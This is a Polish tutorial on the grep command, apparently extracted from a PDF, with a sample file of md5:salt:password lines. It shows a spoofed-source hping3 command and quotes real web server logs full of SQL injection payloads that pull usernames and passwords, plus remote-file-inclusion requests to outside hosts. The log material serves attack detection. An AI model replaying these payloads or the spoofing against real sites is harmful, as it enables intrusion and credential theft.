Grep how to do

background image

Grep: how to do

Narzędzie do wyświetlania wyrazów z plików, standardowego wyjścia w
liniach; szukanego wyrazu, wyrażenia, całej linijki, wyniku działania innego
programu to

GREP.

W tym artykule string ‘wyraz’ będzie oznaczał słowo, które jest
poszukiwane przez grep’a.
Narzędzie zostało wyposażone w niżej przedstawione opcje filtrowania:

1.

-

E

traktuje wyraz jako rozszerzone wyrażenie regularne

-

F

traktuje wyraz jako listę stałych, oddzielonych od siebie nowymi liniami
wyrazów

-

G

po prostu szuka danego wyrazu (jest to opcja domyślna)

-

P

jest to eksperymentalna opcja, traktuje wyraz jako wyrażenie z Perl’a

-

e

służy do zabezpieczenia się by wyszukiwany zwrot zaczynał się od wyrazu,
zabezpieczamy się przez -. (np. grep -e -.adam plik)

-

f

określamy tutaj jaki plik przeszukiwać, linijka po linijce

-

i

ignoruje wielkości liter (dla zwrotu adam, będzie szukało aDam, ADAM,
aDaM)

-

v

zwróci wszystkie linie, które
nie pasują
do wyrazu

-

w

wybiera tylko te linie, które zawierają linijki, w których wyraz nie znajduje
się obok innej litery (znajdzie adam , adam@1, +adam, 123adam; nie

background image

znajdzie adamek, adamski)

-

x

pokaż tylko te zwroty, które idealnie pasują do wyrazu

-

y

to co

-

i

(-

y jest wersją prehistoryczną)

-

c

proszę policzyć ile linijek pasuje do wyrazu

-

m n

skończ szukanie gdy znajdziesz
n
linii zawierających wyraz (użycie, np.: -m 0)

-

o

pokazuje część lini, która pasuje do wyrazu/wzorca (do używania z
wyrażeniami regularnymi)

-

q

nie rób nic, nic nie wyświetlaj ta opcja chyba dla podpuchy jest dodana,
można to też czytać jako: “pokaż mi co jest w /dev/null”

-

s

wyświetl wiadomość, jeśli plik nie istnieje lub jest nie możliwy do
przeszukania

-

H

wyświetl nazwę pliku, który jest przeszukiwany przy linijce, domyśle przy

przeszukiwaniu kilku plików

-h nie wyświetlaj nazwy pliku przy linijce-n podaj numer

linii, w której znaleziono wyraz-T przed wyświetlanym zwrotem wyświetla
Tab-Z przy wyświetlaniu :zwrot po nazwie przeszukiwanego pliku wstaw
znak ASCII NUL-A n pokaż kolejne n linijek po każdym znalezionym zwrocie-
B n

to co wyżej tylko linijki przed znalezionym zwrotem-C n połączenie -A

-B-a przeszukaj plik binarny tak jakby tam był tekst (wyjaśnienie:
otworzyłeś kiedyś zdjęcie albo archiwum notatnikiem?)-d jeśli grep ma
szukać w ścieżce to powiedz mu jak ma szukać; recurse – przeszuka
wszystkie pliki w katalogu, read – traktuje ścieżkę jakby była zwykłym
plikiem

background image

Ufff.. już przebrnęliśmy przez wylistowanie większości opcji programu, można zabrać

się za filtrowanie zawartości pliku/plików.

Zacznijmy więc praktykować, trzeba ustalić jaką zawartość ma plik.

admin

adminek

AdMiNE

administrator

ehn8le

chikee

adammax

chris

8331d0969f7abe954525f411f5232c86:51:sebek072

8e354e0a1f564e3561079cc76d38d624:44:artek1422

mmci0128

d781b395

1225521

397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997

111111

22222

3333

444

55

6

harahiro

sell3r

kosmos

montag123

hugohugo

cuma#

hoenrules

19d3150d8a91721606d556c986996ff5:46:jolek561

ffd044ac8866293aae573855e87da8b3:07:sebek123

background image

Co widzimy w zawartości pliku? 3 odmiany słowa administrator, 5 razy pojawił się

schemat md5:salt:passwd, kilka losowych wyrazów, i taki asterix malejący

poskładany z cyfr.

Zajmiemy się filtrowaniem tego pliku, u mnie nazywa się on grepa, by odzyskiwać

określone linijki.

Najpierw uzyskamy odmiany wyrazu admin, potem sam wyraz ‘admin’.

Przypomnę byś nie musiał przewijać ekranu żeby sprawdzić, której opcji używać.

agilobable@ASUS-PC:~$ grep admin grepa

admin

adminek

administrator

Teraz przefiltrujmy to samo, ale z opcją

-i, która nakazuje nie patrzeć na

wielkość liter:

agilobable@ASUS-PC:~$ grep -i admin grepa

admin

adminek

AdMiNE

administrator

No, wszystko działa jak dotąd. Teraz uzyskajmy tylko wyraz ‘admin’. Służy do tego
opcja

-x

agilobable@ASUS-PC:~$ grep -x admin grepa

admin

Zgadnij po wyniku do czego jest opcja

-v:

agilobable@ASUS-PC:~$ grep -v admin grepa

AdMiNE

ehn8le

chikee

adammax

chris

8331d0969f7abe954525f411f5232c86:51:sebek072

8e354e0a1f564e3561079cc76d38d624:44:artek1422

mmci0128

d781b395

background image

1225521

397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997

111111

22222

3333

444

55

6

harahiro

sell3r

kosmos

montag123

hugohugo

cuma#

hoenrules

19d3150d8a91721606d556c986996ff5:46:jolek561

ffd044ac8866293aae573855e87da8b3:07:sebek123

Znak . (kropki) jest równoznaczny z każdym innym znakiem ASCII:

agilobable@ASUS-PC:~$ grep -i ......... grepa

administrator

8331d0969f7abe954525f411f5232c86:51:sebek072

8e354e0a1f564e3561079cc76d38d624:44:artek1422

397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997

montag123

hoenrules

19d3150d8a91721606d556c986996ff5:46:jolek561

ffd044ac8866293aae573855e87da8b3:07:sebek123

No dobrze, skoro takie podstawy są opanowane, można zacząć działać na czymś

trudniejszym

Czym są wyrażenia regularne? Nie o tym jest ten artykuł

Po prostu będziemy ich używać.

Wytłumaczę tylko czym są zakresy. Otóż zakresem jest jakaśtam ilość znaków z

tablicy ASCII, między pierwszym podanym znakiem, a drugim, w grepie zakres liter

background image

od ‘a’ do ‘g’ zapisuje się

“[a-g]”

agilobable@ASUS-PC:~$ grep "[t-z]" grepa

administrator

adammax

8e354e0a1f564e3561079cc76d38d624:44:artek1422

397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997

montag123

hugohugo

cuma#

hoenrules

Wykonanie powyższego polecenia ma wyświetlić słowa, które zawierają w sobie

jakąkolwiek literę od ‘t’ do ‘z’. Co się udało.

Wyrażenia regularne można ze sobą łączyć, co jest ich największą zaletą,

odfiltrujemy teraz linijki, w których są hashe md5:

agilobable@ASUS-PC:~$ grep "[a-f0-9]{32}" grepa

8331d0969f7abe954525f411f5232c86:51:sebek072

8e354e0a1f564e3561079cc76d38d624:44:artek1422

397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997

19d3150d8a91721606d556c986996ff5:46:jolek561

ffd044ac8866293aae573855e87da8b3:07:sebek123

Powyższe polecenie ma za zadanie wyświetlić ciągi znakowe, w których występują

znaki od ‘a’ do ‘f’ oraz od zera do dziewięciu, przy czym w ciągu ma znajdować się

ten zakres 32 razy (liczba w nawiasie klamrowym określa ilość powtórzeń zakresu,

32 to długość hashu md5())

To samo można otrzymać gdy liczbę w nawiasie klamrowym zmniejszymy do no

choćby 16.

Innymi metaznakami wyrażeń regularnych są:

[[:

alnum:]] = [A-Za-z0-9]

[[:alpha:]] = [A-Za-z][[:digit:]] = [0-9][[:lower:]] = [a-z]

[[:upper:]] = [A-Z][[:xdigit:]] = Cyfry szesnastkowe, czyli to czym filtrowaliśmy
poprzednio md5 [a-f0-9)]

[[:print:]] = znaki widzialne na wydruku

Teraz zademonstruję metody, którymi można uzyskać hashe md5 na różne sposoby:

grep "[[:print:]]{32}" -o grepa

grep "[[:xdigit:]]{32}" -o grepa

background image

grep "[a-f0-9]{32}" -o grepa

Liczby wstawiane w nawias nie przypadkowo mają takie ustawienie:

{

n} = n-razy powtórz zakresy

{n,} = powtórz zakresy więcej niż n-razy{,m} = powtórz

zakresy maksymalnie m-razy

{n,m} = powtórz zakresy od n do m-razy

Odfiltrujmy więc linie, w których są tylko liczby i na tym zakończę temat wyrażeń

regularnych:

agilobable@ASUS-PC:~$ grep -v "[[:alpha:]]" grepa

1225521

111111

22222

3333

444

55

6

lub

agilobable@ASUS-PC:~$ grep "[[:digit:]]{1,}" -ox grepa

Filtrowanie działania innego programu.

W tym dziale zademonstruję działanie 3 programów: grep, tcpdump i hping3. hping3

będzie wysyłał pakiety z zespoofowanym adresem IP(mój adres to 192.168.1.2 nie

ma sensu go pokazywać, chcę odfiltrować to czego jest mniej i nad czym mam

kontrolę więc sam stworze pakiety, które zaraz zobaczymy), tcpdump będzie je

chwytał, a grep pokazywał tylko te linijki w których pokaże się oszukany adres IP.

W mojej sieci adres 192.168.1.5 nie istnieje, a będę podawał się właśnie za niego,

wysyłając ping do komputera 192.168.1.3, mój adres to 192.168.1.2

Komenda, którą włączymy wysyłanie fałszywych pakietów ICMP echo reqest w

hping3 to:

hping3 -a 192.168.1.5 192.168.1.3

W oknie programu tcpdump wykonałem polecenie jak poniżej i otrzymałem także

poprawny wynik:

root@ASUS-PC:/home/agilobable# tcpdump -i wlan0 -v | grep 192.168.1.5

tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 96 bytes

192.168.1.3.2225 > 192.168.1.5.0: Flags [none], cksum 0x6c6a (correct), win 512, length 0

background image

192.168.1.3.2226 > 192.168.1.5.0: Flags [none], cksum 0x3cb1 (correct), win 512, length 0

192.168.1.3.2227 > 192.168.1.5.0: Flags [none], cksum 0x2795 (correct), win 512, length 0

192.168.1.3.2228 > 192.168.1.5.0: Flags [none], cksum 0x51f4 (correct), win 512, length 0

192.168.1.3.2229 > 192.168.1.5.0: Flags [none], cksum 0xbe57 (correct), win 512, length 0

Jednak zobaczmy co się stanie gdy z komendy usunę część grepa (w tym czasie

trwa rozmowa na skype):

root@ASUS-PC:/home/agilobable# tcpdump -i wlan0 -v

tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 96 bytes

21:31:36.731256 IP (tos 0x0, ttl 117, id 52372, offset 0, flags [none], proto UDP (17), length 130)

host-212-67-144-143.cable.net-inotel.pl.36356 > ASUS-PC.local.33094: UDP, length 102

21:31:36.731708 IP (tos 0x0, ttl 64, id 16579, offset 0, flags [DF], proto UDP (17), length 70)

^C ASUS-PC.local.42925 > 192.168.1.1.domain: 216+ PTR? 2.1.168.192.in-addr.arpa. (42)

...

za dużo tego by pokazywać tutaj

...

951 packets captured

1856 packets received by filter

0 packets dropped by kernel

Na zakończenie, spróbuj odgadnąć jaki wynika da to polecenie:

curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]+"

Artykuł napisany dla cierpiącego w agonii

jakilinux.org

Ende.

—–====

Update 1.1====—–

Na komentarz widma dodaję punkt z opisem funkcji -C n, który użyjemy do
sprawdzenia czy w logach serwera http są jakieś zapiski o próbie użycia
techniki SQLi do wyciągnięcia poufnych danych.
Komentarz: żeby wykonać SQL injection potrzebna jest komenda union
select

z funkcji MySQL, to właśnie po niej zorientujemy się czy doszło do

ataku.
Oto przykładowy

plik

z logami znaleziony w Google, w którym gdzieś tam

jest użycie funkcji union select.
agilob@Asus-PC:~$ cat logi | grep -C 1 -m 2 “union”
polecenie to wyświetli cały plik z logami, grep’em przefiltruje potrzebne

background image

nam linijki z wyrazem “union“, poszuka pierwszej takiej linijki, i wyświetli
jedną przed i jedną za tą znalezioną i będzie szukało 2 takich wypadków
(próby “włamania”). Pomoże to ustalić, który element aplikacji jest
dziurawy i jak został przeprowadzany atak, jeśli wyświetlimy więcej linijek.

72.94.249.37 – – [24/

Jan/2010:23:27:43 -0500] “GET / HTTP/1.1″ 200 1190 “-”

“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
1.1.4322)” “www.querecho.com”

74.55.15.194 – – [24/

Jan/2010:23:29:58 -0500] “GET /index.php?

option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/

union/**/select/**/concat(username,0%D73a,password)/**/fro

m/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834″
“www.mikeadewole.com”

74.55.15.194 – – [24/

Jan/2010:23:29:58 -0500] “GET /parked-

20091029.log/index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/fro
m/**/jos_users/* HTTP/1.1″ 404 227 “-” “libwww-perl/5.834″
“www.mikeadewole.com”
W tym wypadku wyświetliło jeden określony przez nas wynik (a przecież -
m 2

powinno zwracać dwa!), wyświetliło jeden, ponieważ w 3 linijce za tą

znalezioną też występuje słowno

union, więc tak naprawdę wyświetliło

dwa określone wyrażenia, jedno jest tym środkowym, a drugie to jest to
ostatnie wyświetlone, program grep spełnił w ten sposób dwa warunki
podane przez użytkownika jednocześnie. Gdy usuniesz -m 2 program
pokaże wszystkie linijki ze słowem

union, czyli tyle:

72.94.249.37 – – [24/

Jan/2010:23:27:43 -0500] “GET / HTTP/1.1″ 200 1190 “-”

“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
1.1.4322)” “www.querecho.com”

74.55.15.194 – – [24/

Jan/2010:23:29:58 -0500] “GET /index.php?

option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/

union/**/select/**/concat(username,0%D73a,password)/**/fro

background image

m/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834″
“www.mikeadewole.com”

74.55.15.194 – – [24/

Jan/2010:23:29:58 -0500] “GET /parked-

20091029.log/index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/

union/**/select/**/concat(username,0%D73a,password)/**/fro

m/**/jos_users/* HTTP/1.1″ 404 227 “-” “libwww-perl/5.834″
“www.mikeadewole.com”

74.55.15.194 – – [24/

Jan/2010:23:30:25 -0500] “GET /parked-

20091113.log/index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/

union/**/select/**/concat(username,0%D73a,password)/**/fro

m/**/jos_users/* HTTP/1.1″ 404 227 “-” “libwww-perl/5.834″
“www.mikeadewole.com”

74.55.15.194 – – [24/

Jan/2010:23:31:04 -0500] “GET /index.php?

option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/

union/**/select/**/concat(username,0%D73a,password)/**/fro

m/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834″
“www.querecho.com”

69.73.144.187 – – [24/

Jan/2010:23:33:34 -0500] “GET /index.php?

option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/

union/**/select/**/concat(username,0%D73a,password)/**/fro

m/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831″
“www.mikeadewole.com”

69.73.144.187 – – [24/

Jan/2010:23:34:13 -0500] “GET /index.php?

option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/

union/**/select/**/concat(username,0%D73a,password)/**/fro

m/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831″
“www.querecho.com”

69.73.144.187 – – [24/

Jan/2010:23:43:24 -0500] “GET /parked-20091029.log

/

index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-

9999999/**/

union/**/select/**/concat(username,0%D73a,password)/**/fro

m/**/jos_users/*’ HTTP/1.1″ 404 227 “-” “libwww-perl/5.831″

background image

“www.mikeadewole.com”

69.73.144.187 – – [24/

Jan/2010:23:43:25 -0500] “GET /index.php?

option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/

union/**/select/**/concat(username,0%D73a,password)/**/fro

m/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831″
“www.mikeadewole.com”

67.195.111.174 – – [24/

Jan/2010:23:44:37 -0500] “GET /pipermail/botsl-

updates/Week-of-Mon-20070702/015691.html HTTP/1.0″ 404 254 “-”
“Mozilla/5.0

(compatible;

Yahoo!

Slurp/3.0;

http://help.yahoo.com/help/us/ysearch/slurp)”

“www.adequest.ca”


118.223.225.130 – – [24/Jan/2010:23:58:32 -0500] “GET
///administrator/components/com_virtuemart/export.php?
mosConfig.absolute.path=http://musicadelibreria.net/footer?? HTTP/1.1″
404 248 “-” “Mozilla/5.0″ “www.mikeadewole.com”

69.73.144.187 – – [24/

Jan/2010:23:59:34 -0500] “GET /parked-

20091113.log/index.php?
option=com_pccookbook&page=viewuserrecipes&user_id=-
9999999/**/

union/**/select/**/concat(username,0%D73a,password)/**/fro

m/**/jos_users/*’ HTTP/1.1″ 404 227 “-” “libwww-perl/5.831″
“www.mikeadewole.com”

203.253.25.15 – – [25/

Jan/2010:00:13:50 -0500] “GET ////twindow_notice.php?

board_skin_path=http://med.buu.ac.th///components/com_mylink/son1.txt
? HTTP/1.1″ 404 216 “-” “Mozilla/5.0″ “www.mikeadewole.com”
W każdym z przypadków trzymając się polecenia, podając jeden wynik
przed i jeden za znalezioną linijką, daje to obraz, kto w czasie ataku
przeglądał stronę.

—-====

Update 1.2====—-

Grep jako szybka szukajka plików na dysku.
Dlaczego jako szukajka?
Bo przefiltrowanie wyników z polecenia find / będzie działało jak szujakja.

background image

Dlaczego szybka? Bo nie wyświetla wszystkich wyników tylko te potrzebne,
te potrzebne trafiają na std out.
Załóżmy, że chcemy znaleźć wszystkie pliki deb, używane instalowane
ostatnio na naszym PC i usunąć je:

root@vshellz:~# find / | grep

i386.deb/var/cache/apt/archives/erlang-crypto_1%3a14.a-dfsg-

3_i386.deb/var/cache/apt/archives/odbcinst_2.2.14p2-

1_i386.deb/var/cache/apt/archives/lksctp-tools_1.0.11+dfsg-

1_i386.deb/var/cache/apt/archives/erlang-runtime-

tools_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-

inets_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-

asn1_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-

public-key_1%3a14.a-dfsg-

3_i386.deb/var/cache/apt/archives/erlang-syntax-

tools_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-

base_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-

ssl_1%3a14.a-dfsg-

3_i386.deb/var/cache/apt/archives/unixodbc_2.2.14p2-

1_i386.deb/var/cache/apt/archives/erlang-mnesia_1%3a14.a-dfsg-

3_i386.deb/var/cache/apt/archives/odbcinst1debian2_2.2.14p2-

1_i386.deb/var/cache/apt/archives/ejabberd_2.1.5-

3+squeeze1_i386.deb/var/cache/apt/archives/libsctp1_1.0.11+dfs

g-1_i386.deb/var/cache/apt/archives/erlang-odbc_1%3a14.a-dfsg-

3_i386.deb


Document Outline


Wyszukiwarka

Podobne podstrony:
Grep how to do
How to Do Viking Chain Knitting
how to do mb sd c4 self test
lesson plan how to do it
How To do Macro Insect Photography (10p)
How to Do Your Dissertation in Geography
How To Do VSCOcam Effects in Photoshop
Free How to do TIG Welding Guide
How to do TarotCards
Do It Yourself How To Make Hash Oil
Do we really know how to promote?mocracy
How to use make and do in English

więcej podobnych podstron